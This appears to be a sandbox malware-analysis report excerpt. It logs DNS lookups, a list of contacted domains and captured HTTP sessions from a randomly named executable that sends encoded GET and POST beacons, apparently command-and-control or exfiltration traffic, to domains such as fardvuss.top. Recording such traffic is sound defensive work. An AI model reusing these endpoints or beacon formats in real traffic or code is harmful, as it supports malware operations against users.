Sep 11, 2024 22:05:18.318931103 CEST	1.1.1.1	192.168.2.10	0x4fcd	No error (0)	www.purpleheartlacey.com	parkingpage.namecheap.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 11, 2024 22:05:18.318931103 CEST	1.1.1.1	192.168.2.10	0x4fcd	No error (0)	parkingpage.namecheap.com		91.195.240.19	A (IP address)	IN (0x0001)	false
Sep 11, 2024 22:05:32.065623045 CEST	1.1.1.1	192.168.2.10	0xcf93	Name error (3)	www.cityrentsatruck.com	none	none	A (IP address)	IN (0x0001)	false
Sep 11, 2024 22:05:40.273622990 CEST	1.1.1.1	192.168.2.10	0x3d96	No error (0)	www.grafiktema.xyz	grafiktema.xyz		CNAME (Canonical name)	IN (0x0001)	false
Sep 11, 2024 22:05:40.273622990 CEST	1.1.1.1	192.168.2.10	0x3d96	No error (0)	grafiktema.xyz		31.186.11.254	A (IP address)	IN (0x0001)	false
Sep 11, 2024 22:06:14.981918097 CEST	1.1.1.1	192.168.2.10	0xd383	No error (0)	www.cr-pos.com	cr-pos.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 11, 2024 22:06:14.981918097 CEST	1.1.1.1	192.168.2.10	0xd383	No error (0)	cr-pos.com		192.250.231.28	A (IP address)	IN (0x0001)	false
Sep 11, 2024 22:06:29.470614910 CEST	1.1.1.1	192.168.2.10	0xcaa3	No error (0)	www.trcrb8e8m.sbs	xiaoyue.zhuangkou.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 11, 2024 22:06:29.470614910 CEST	1.1.1.1	192.168.2.10	0xcaa3	No error (0)	xiaoyue.zhuangkou.com		47.239.13.172	A (IP address)	IN (0x0001)	false
Sep 11, 2024 22:06:43.064589024 CEST	1.1.1.1	192.168.2.10	0x32c0	No error (0)	www.sulpapeis.online	sulpapeis.online		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

www.goodgiftguru.com

www.fardvuss.top

www.vacaturecast.com

www.drivemktg.co

www.nbh6agr8h.sbs

www.54bxd.cyou

www.r7xzr3ib0.sbs

www.bitmapsportsbook.com

www.aceautocorp.com

www.purpleheartlacey.com

www.grafiktema.xyz

www.cr-pos.com

www.trcrb8e8m.sbs

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.10	49707	217.70.184.50	80	4832	C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 22:02:49.001437902 CEST	463	OUT	GET /p2ly/?bFGXGTdX=854srIWxIbaR7EG2BVBjn1PfwNbGMwTqcAT48G/3DKSB08gEc85mKKLIvkpoComultp7rI80f5482EKJDc++UJ/X9hbLrPJpiCWZeROTRI35j/SOzA==&M87d=RDddFbF8 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-us Host: www.goodgiftguru.com Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36
Sep 11, 2024 22:02:49.639590025 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 11 Sep 2024 20:02:49 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Vary: Accept-Language Data Raw: 37 39 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 54 68 69 73 20 64 6f 6d 61 69 6e 20 6e 61 6d 65 20 68 61 73 20 62 65 65 6e 20 72 65 67 69 73 74 65 72 65 64 20 77 69 74 68 20 47 61 6e 64 69 2e 6e 65 74 2e 20 49 74 20 69 73 20 63 75 72 72 65 6e 74 6c 79 20 70 61 72 6b 65 64 20 62 79 20 74 68 65 20 6f 77 6e 65 72 2e 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 67 6f 6f 64 67 69 66 74 67 75 72 75 2e 63 6f 6d 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 [TRUNCATED] Data Ascii: 797<!DOCTYPE html><html class="no-js" lang=en> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width"> <meta name="description" content="This domain name has been registered with Gandi.net. It is currently parked by the owner."> <title>goodgiftguru.com</title> <link rel="stylesheet" type="text/css" href="main-78844350.css"> <link rel="shortcut icon" href="favicon.ico" type="image/x-icon"/> <link rel="preload" as="font" href="fonts/Montserrat-Regular.woff2" type="font/woff2" crossorigin/> <link rel="preload" as="font" href="fonts/Montserrat-SemiBold.woff2" type="font/woff2" crossorigin/> </head> <body> <div class="ParkingPage_2023-root_2dpus "><main class="OldStatic_2023-root_1AGy1 Parking_2023-root_qhMQ2"><div><article class="Parking_2023-content_1rA87"><h1 class="OldStatic_2023-title_13ceK">This domain name has been registered with Gandi.net</h1><div class="OldStatic_2023-text_37nqO Parking_2023-text_1JZys"><p><a href="https:/ [TRUNCATED]
Sep 11, 2024 22:02:49.639919043 CEST	903	IN	Data Raw: 67 6f 6f 64 67 69 66 74 67 75 72 75 2e 63 6f 6d 22 3e 3c 73 74 72 6f 6e 67 3e 56 69 65 77 20 74 68 65 20 57 48 4f 49 53 20 72 65 73 75 6c 74 73 20 6f 66 20 67 6f 6f 64 67 69 66 74 67 75 72 75 2e 63 6f 6d 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 61 3e 20 Data Ascii: goodgiftguru.com"><strong>View the WHOIS results of goodgiftguru.com</strong></a> to get the domains public registration information.</p></div><div class="Parking_2023-positionbox_2OgLh"><div class="Parking_2023-outerbox_2j18t"><p class="Pa
Sep 11, 2024 22:02:49.639949083 CEST	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.10	49709	199.192.19.19	80	4832	C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 22:03:04.998111963 CEST	722	OUT	POST /oxoz/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Host: www.fardvuss.top Origin: http://www.fardvuss.top Content-Length: 197 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Referer: http://www.fardvuss.top/oxoz/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 Data Raw: 62 46 47 58 47 54 64 58 3d 37 76 33 38 6d 61 43 50 57 36 75 62 44 48 4f 2b 4b 37 6c 44 43 72 49 75 6f 47 63 44 78 38 35 68 6d 4a 6d 61 36 4f 59 4f 6c 4d 4b 48 55 41 75 70 59 4e 6a 6f 44 52 50 6e 67 75 34 37 51 69 59 6d 64 71 79 34 61 75 5a 72 49 52 4e 7a 70 36 73 42 5a 6d 6b 42 4c 74 48 4c 49 36 49 58 42 56 55 55 55 71 72 67 51 63 31 47 58 4b 5a 6c 58 35 70 39 58 6d 54 44 66 41 4b 66 46 35 35 59 52 46 75 70 48 34 6e 64 53 31 69 78 37 4a 47 38 34 51 30 6c 63 41 76 43 4a 39 37 41 4a 65 4d 2f 57 72 6e 79 37 4f 32 67 78 74 6d 32 6b 58 48 5a 49 4c 6d 4d 66 47 68 62 75 6d 70 76 66 52 34 73 Data Ascii: bFGXGTdX=7v38maCPW6ubDHO+K7lDCrIuoGcDx85hmJma6OYOlMKHUAupYNjoDRPngu47QiYmdqy4auZrIRNzp6sBZmkBLtHLI6IXBVUUUqrgQc1GXKZlX5p9XmTDfAKfF55YRFupH4ndS1ix7JG84Q0lcAvCJ97AJeM/Wrny7O2gxtm2kXHZILmMfGhbumpvfR4s
Sep 11, 2024 22:03:05.636337996 CEST	1236	IN	HTTP/1.1 404 Not Found Date: Wed, 11 Sep 2024 20:03:05 GMT Server: Apache Content-Length: 16026 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <meta name="viewport" content="width=device-width, initial-scale=1"><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel='stylesheet' href='https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.1.3/css/bootstrap.min.css'><link rel="stylesheet" href="/style.css"></head><body>... partial:index.partial.html --><div class="hamburger-menu"> <button class="burger" data-state="closed"> <span></span> <span></span> <span></span> </button></div><main> <div class="container"> <div class="row"> <div class="col-md-6 align-self-center"> <svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewBox="0 0 800 600"> <g> <defs> <clipPath id="GlassClip"> <path d="M380.857,346.164c-1.247,4.6 [TRUNCATED]
Sep 11, 2024 22:03:05.636368036 CEST	1236	IN	Data Raw: 73 2d 32 38 2e 34 38 35 2d 31 36 2e 35 39 39 2d 33 34 2e 38 37 37 2d 32 34 2e 31 39 32 63 2d 33 2e 31 30 31 2d 33 2e 36 38 34 2d 34 2e 31 37 37 2d 38 2e 36 36 2d 32 2e 39 33 2d 31 33 2e 33 31 31 6c 37 2e 34 35 33 2d 32 37 2e 37 39 38 63 30 2e 37 Data Ascii: s-28.485-16.599-34.877-24.192c-3.101-3.684-4.177-8.66-2.93-13.311l7.453-27.798c0.756-2.82,3.181-4.868,6.088-5.13 c6.755-0.61,20.546-0.608,41.785,5.087s33.181,12.591,38.725,16.498c2.387,1.682,3.461,4.668,2.705,7.488L380.857,346.
Sep 11, 2024 22:03:05.636382103 CEST	1236	IN	Data Raw: 20 20 20 20 3c 70 61 74 68 20 69 64 3d 22 72 69 6e 67 53 68 61 64 6f 77 22 20 6f 70 61 63 69 74 79 3d 22 30 2e 35 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 73 74 72 6f 6b 65 3d 22 23 30 45 30 36 32 30 22 20 73 74 72 6f 6b 65 2d 77 69 64 74 68 3d Data Ascii: <path id="ringShadow" opacity="0.5" fill="none" stroke="#0E0620" stroke-width="3" stroke-linecap="round" stroke-miterlimit="10" d="M483.985,127.43c23.462,1.531,52.515,2.436,83.972,2.436c36.069,0,68.978-1.19,93.922-3.149
Sep 11, 2024 22:03:05.636488914 CEST	1236	IN	Data Raw: 30 36 32 30 22 20 73 74 72 6f 6b 65 2d 77 69 64 74 68 3d 22 33 22 20 73 74 72 6f 6b 65 2d 6c 69 6e 65 63 61 70 3d 22 72 6f 75 6e 64 22 20 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3d 22 31 30 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: 0620" stroke-width="3" stroke-linecap="round" stroke-miterlimit="10" x1="320.135" y1="132.746" x2="320.135" y2="153.952" /> <line fill="none" stroke="#0E0620" stroke-width="3" stroke-linecap="round" strok
Sep 11, 2024 22:03:05.636502981 CEST	1236	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 67 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 67 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 6e 65 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 73 74 72 6f 6b 65 3d Data Ascii: </g> <g> <line fill="none" stroke="#0E0620" stroke-width="3" stroke-linecap="round" stroke-miterlimit="10" x1="489.555" y1="299.765" x2="489.555" y2="308.124" />
Sep 11, 2024 22:03:05.636518002 CEST	1120	IN	Data Raw: 37 31 39 22 20 78 32 3d 22 32 34 30 2e 31 31 33 22 20 79 32 3d 22 35 35 31 2e 37 31 39 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 67 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 67 3e 0a 0a 20 20 20 20 20 20 Data Ascii: 719" x2="240.113" y2="551.719" /> </g> <g> <line fill="none" stroke="#0E0620" stroke-width="3" stroke-linecap="round" stroke-miterlimit="10" x1="186.359" y1="406.967" x2="1
Sep 11, 2024 22:03:05.636533022 CEST	1236	IN	Data Raw: 22 37 2e 39 35 32 22 20 2f 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 73 74 72 6f 6b 65 3d 22 23 30 45 30 36 32 30 22 20 73 74 72 6f 6b 65 2d 77 69 64 74 68 3d 22 33 22 20 Data Ascii: "7.952" /> <circle fill="none" stroke="#0E0620" stroke-width="3" stroke-linecap="round" stroke-miterlimit="10" cx="450.066" cy="320.259" r="7.952" /> <circle fill="none" stroke="#0E0620" stro
Sep 11, 2024 22:03:05.636548996 CEST	1236	IN	Data Raw: 20 20 20 20 20 20 3c 2f 67 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 67 20 69 64 3d 22 63 69 72 63 6c 65 73 53 6d 61 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 66 69 6c 6c 3d 22 23 30 45 30 36 Data Ascii: </g> <g id="circlesSmall"> <circle fill="#0E0620" cx="549.879" cy="296.402" r="2.651" /> <circle fill="#0E0620" cx="253.29" cy="229.24" r="2.651" /> <circle fill="#0E0620" cx=
Sep 11, 2024 22:03:05.636620998 CEST	1236	IN	Data Raw: 2d 6d 69 74 65 72 6c 69 6d 69 74 3d 22 31 30 22 20 64 3d 22 0a 09 09 09 4d 33 33 38 2e 31 36 34 2c 34 35 34 2e 36 38 39 6c 2d 36 34 2e 37 32 36 2d 31 37 2e 33 35 33 63 2d 31 31 2e 30 38 36 2d 32 2e 39 37 32 2d 31 37 2e 36 36 34 2d 31 34 2e 33 36 Data Ascii: -miterlimit="10" d="M338.164,454.689l-64.726-17.353c-11.086-2.972-17.664-14.369-14.692-25.455l15.694-58.537c3.889-14.504,18.799-23.11,33.303-19.221l52.349,14.035c14.504,3.889,23.11,18.799,19.221,33.303l-15.694,58.537C360.647,451.08
Sep 11, 2024 22:03:05.636636019 CEST	672	IN	Data Raw: 20 20 20 20 20 20 20 20 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3d 22 31 30 22 20 64 3d 22 0a 09 09 09 09 4d 33 38 38 2e 37 36 32 2c 34 33 34 2e 36 37 37 63 35 2e 32 33 34 2d 33 2e 30 33 39 2c 37 2e 37 33 31 2d 38 2e 39 36 36 2c 36 2e Data Ascii: stroke-miterlimit="10" d="M388.762,434.677c5.234-3.039,7.731-8.966,6.678-14.594c2.344,1.343,4.383,3.289,5.837,5.793c4.411,7.596,1.829,17.33-5.767,21.741c-7.596,4.411-17.33,1.829-21.741-5.767c-1.754-3.021-2.817-5.818-2.484-9.0
Sep 11, 2024 22:03:05.641469955 CEST	1236	IN	Data Raw: 36 38 35 2d 35 2e 35 36 34 22 20 2f 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 20 66 69 6c 6c 3d 22 23 46 46 46 46 46 46 22 20 73 74 72 6f 6b 65 3d 22 23 30 45 30 36 32 30 22 20 73 74 72 6f 6b 65 2d 77 69 64 74 68 3d Data Ascii: 685-5.564" /> <path fill="#FFFFFF" stroke="#0E0620" stroke-width="3" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" d="M241.978,395.324c-3.012-5.25-2.209-11.631,1.518-15.977c-2.701

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.10	49710	199.192.19.19	80	4832	C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 22:03:07.863334894 CEST	746	OUT	POST /oxoz/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Host: www.fardvuss.top Origin: http://www.fardvuss.top Content-Length: 221 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Referer: http://www.fardvuss.top/oxoz/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 Data Raw: 62 46 47 58 47 54 64 58 3d 37 76 33 38 6d 61 43 50 57 36 75 62 43 6d 2b 2b 49 61 6c 44 46 4c 49 68 6e 6d 63 44 6e 4d 35 74 6d 4a 71 61 36 4c 34 65 6c 65 75 48 55 68 65 70 5a 50 4c 6f 45 52 50 6e 34 65 35 7a 50 79 59 58 64 71 2b 77 61 73 39 72 49 52 5a 7a 70 2b 67 42 5a 33 6b 43 4a 39 48 46 41 61 49 5a 46 56 55 55 55 71 72 67 51 63 77 6a 58 4d 78 6c 58 4e 74 39 57 48 54 4d 65 41 4c 74 4d 5a 35 59 56 46 75 74 48 34 6d 49 53 32 6d 4c 37 4c 2b 38 34 52 45 6c 53 79 4c 46 63 4e 37 43 47 2b 4e 38 62 6f 65 48 2b 76 61 54 37 2b 7a 32 34 58 4c 4d 50 71 48 4c 4f 58 41 4d 39 52 31 68 52 58 4e 47 4c 38 4c 68 70 69 30 65 68 4f 6c 5a 53 39 64 64 74 45 76 30 56 67 3d 3d Data Ascii: bFGXGTdX=7v38maCPW6ubCm++IalDFLIhnmcDnM5tmJqa6L4eleuHUhepZPLoERPn4e5zPyYXdq+was9rIRZzp+gBZ3kCJ9HFAaIZFVUUUqrgQcwjXMxlXNt9WHTMeALtMZ5YVFutH4mIS2mL7L+84RElSyLFcN7CG+N8boeH+vaT7+z24XLMPqHLOXAM9R1hRXNGL8Lhpi0ehOlZS9ddtEv0Vg==
Sep 11, 2024 22:03:08.480758905 CEST	1236	IN	HTTP/1.1 404 Not Found Date: Wed, 11 Sep 2024 20:03:08 GMT Server: Apache Content-Length: 16026 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <meta name="viewport" content="width=device-width, initial-scale=1"><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel='stylesheet' href='https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.1.3/css/bootstrap.min.css'><link rel="stylesheet" href="/style.css"></head><body>... partial:index.partial.html --><div class="hamburger-menu"> <button class="burger" data-state="closed"> <span></span> <span></span> <span></span> </button></div><main> <div class="container"> <div class="row"> <div class="col-md-6 align-self-center"> <svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewBox="0 0 800 600"> <g> <defs> <clipPath id="GlassClip"> <path d="M380.857,346.164c-1.247,4.6 [TRUNCATED]
Sep 11, 2024 22:03:08.480775118 CEST	1236	IN	Data Raw: 73 2d 32 38 2e 34 38 35 2d 31 36 2e 35 39 39 2d 33 34 2e 38 37 37 2d 32 34 2e 31 39 32 63 2d 33 2e 31 30 31 2d 33 2e 36 38 34 2d 34 2e 31 37 37 2d 38 2e 36 36 2d 32 2e 39 33 2d 31 33 2e 33 31 31 6c 37 2e 34 35 33 2d 32 37 2e 37 39 38 63 30 2e 37 Data Ascii: s-28.485-16.599-34.877-24.192c-3.101-3.684-4.177-8.66-2.93-13.311l7.453-27.798c0.756-2.82,3.181-4.868,6.088-5.13 c6.755-0.61,20.546-0.608,41.785,5.087s33.181,12.591,38.725,16.498c2.387,1.682,3.461,4.668,2.705,7.488L380.857,346.
Sep 11, 2024 22:03:08.480792999 CEST	448	IN	Data Raw: 20 20 20 20 3c 70 61 74 68 20 69 64 3d 22 72 69 6e 67 53 68 61 64 6f 77 22 20 6f 70 61 63 69 74 79 3d 22 30 2e 35 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 73 74 72 6f 6b 65 3d 22 23 30 45 30 36 32 30 22 20 73 74 72 6f 6b 65 2d 77 69 64 74 68 3d Data Ascii: <path id="ringShadow" opacity="0.5" fill="none" stroke="#0E0620" stroke-width="3" stroke-linecap="round" stroke-miterlimit="10" d="M483.985,127.43c23.462,1.531,52.515,2.436,83.972,2.436c36.069,0,68.978-1.19,93.922-3.149
Sep 11, 2024 22:03:08.480806112 CEST	1236	IN	Data Raw: 65 72 6c 69 6d 69 74 3d 22 31 30 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 78 31 3d 22 35 31 38 2e 30 37 22 20 79 31 3d 22 32 34 35 2e 33 37 35 22 20 78 32 3d 22 35 31 38 2e 30 37 22 20 79 32 3d 22 32 36 36 2e 35 38 31 22 Data Ascii: erlimit="10" x1="518.07" y1="245.375" x2="518.07" y2="266.581" /> <line fill="none" stroke="#0E0620" stroke-width="3" stroke-linecap="round" stroke-miterlimit="10" x1="508.129" y1="255
Sep 11, 2024 22:03:08.480817080 CEST	1236	IN	Data Raw: 73 74 72 6f 6b 65 2d 6c 69 6e 65 63 61 70 3d 22 72 6f 75 6e 64 22 20 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3d 22 31 30 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 78 31 3d 22 32 30 30 2e 36 37 22 20 79 31 3d 22 Data Ascii: stroke-linecap="round" stroke-miterlimit="10" x1="200.67" y1="483.11" x2="200.67" y2="504.316" /> <line fill="none" stroke="#0E0620" stroke-width="3" stroke-linecap="round" stroke-miterlimit="10"
Sep 11, 2024 22:03:08.480833054 CEST	448	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 3c 67 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 6e 65 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 73 74 72 6f 6b 65 3d 22 23 30 45 30 36 32 30 22 20 73 74 72 6f 6b 65 2d 77 69 64 74 68 3d Data Ascii: <g> <line fill="none" stroke="#0E0620" stroke-width="3" stroke-linecap="round" stroke-miterlimit="10" x1="231.468" y1="291.009" x2="231.468" y2="299.369" /> <line fill="none"
Sep 11, 2024 22:03:08.480844021 CEST	1236	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 3c 6c 69 6e 65 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 73 74 72 6f 6b 65 3d 22 23 30 45 30 36 32 30 22 20 73 74 72 6f 6b 65 2d 77 69 64 74 68 3d 22 33 22 20 73 74 72 6f 6b 65 2d 6c 69 6e 65 63 61 70 3d 22 72 6f 75 6e Data Ascii: <line fill="none" stroke="#0E0620" stroke-width="3" stroke-linecap="round" stroke-miterlimit="10" x1="244.032" y1="547.539" x2="244.032" y2="555.898" /> <line fill="none" stroke="#0E0620" stroke
Sep 11, 2024 22:03:08.480855942 CEST	1236	IN	Data Raw: 20 20 20 3c 2f 67 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 67 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 67 20 69 64 3d 22 63 69 72 63 6c 65 73 42 69 67 22 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 63 69 72 Data Ascii: </g> </g> <g id="circlesBig"> <circle fill="none" stroke="#0E0620" stroke-width="3" stroke-linecap="round" stroke-miterlimit="10" cx="588.977" cy="255.978" r="7.952" />
Sep 11, 2024 22:03:08.480866909 CEST	448	IN	Data Raw: 20 20 20 63 78 3d 22 32 38 33 2e 35 32 31 22 20 63 79 3d 22 35 36 38 2e 30 33 33 22 20 72 3d 22 37 2e 39 35 32 22 20 2f 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 73 74 72 Data Ascii: cx="283.521" cy="568.033" r="7.952" /> <circle fill="none" stroke="#0E0620" stroke-width="3" stroke-linecap="round" stroke-miterlimit="10" cx="413.618" cy="482.387" r="7.952" /> </g>
Sep 11, 2024 22:03:08.480879068 CEST	1236	IN	Data Raw: 20 66 69 6c 6c 3d 22 23 30 45 30 36 32 30 22 20 63 78 3d 22 34 33 34 2e 38 32 34 22 20 63 79 3d 22 32 36 33 2e 39 33 31 22 20 72 3d 22 32 2e 36 35 31 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 66 69 6c Data Ascii: fill="#0E0620" cx="434.824" cy="263.931" r="2.651" /> <circle fill="#0E0620" cx="183.708" cy="544.176" r="2.651" /> <circle fill="#0E0620" cx="382.515" cy="530.923" r="2.651" /> <circle fill="#0
